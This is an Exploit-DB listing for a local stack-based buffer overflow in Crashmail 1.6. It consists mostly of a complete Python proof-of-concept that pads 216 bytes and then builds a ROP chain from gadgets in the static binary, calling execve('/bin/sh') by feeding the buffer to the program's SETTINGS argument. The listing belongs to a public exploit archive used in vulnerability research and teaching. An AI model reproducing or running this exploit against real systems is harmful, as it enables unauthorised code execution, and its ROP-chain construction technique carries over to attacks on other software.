Crashmail 1.6 - Stack-Based Buffer Overflow (ROP)

EDB-ID:
44331

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2018-03-23

Vulnerable App:

```
# Exploit author: Juan Sacco <jsacco@exploitpack.com>
# Website: http://exploitpack.com
#
# Description: Crashmail is prone to a stack-based buffer overflow because
the application fails to perform adequate boundary checks on user supplied
input.
# Impact: An attacker could exploit this vulnerability to execute arbitrary
code in the context of the application. Failed exploit attempts may result
in a denial-of-service condition.
# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html
# Affected version: 1.6 ( Latest )

import os, subprocess
from struct import pack

p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./crashmail
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

# Control of EIP at 216
# ROP chain: execve ( binsh )
# Static-linked
junk = 'A'*216 # Fill
ropchain = rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += '//bi'
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9060)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax;
ret;
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += 'n/sh'
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9064)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax;
ret;
ropchain += rebase_0(0x000391a0) # 0x080811a0: xor eax, eax; ret;
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax;
ret;
ropchain += rebase_0(0x000001f9) # 0x080481f9: pop ebx; ret;
ropchain += rebase_0(0x000e9060)
ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc
al, 0x41; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += p(0xfffffff5)
ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;
ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;
evil_buffer = junk + ropchain

print "[*] Exploit Pack http://exploitpack.com - Author:
jsacco@exploitpack.com"
print "[*] Crashmail 1.6 - BoF ( ROP execve)"
print "[?] Payload can be read trough a file or STDIN"

try:
    subprocess.call(["./crashmail","SETTINGS", evil_buffer])
except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "[!] Crashmail not found"
    else:
        print "[*] Error executing exploit"
    raise
```

Tags:

Advisory/Source: Link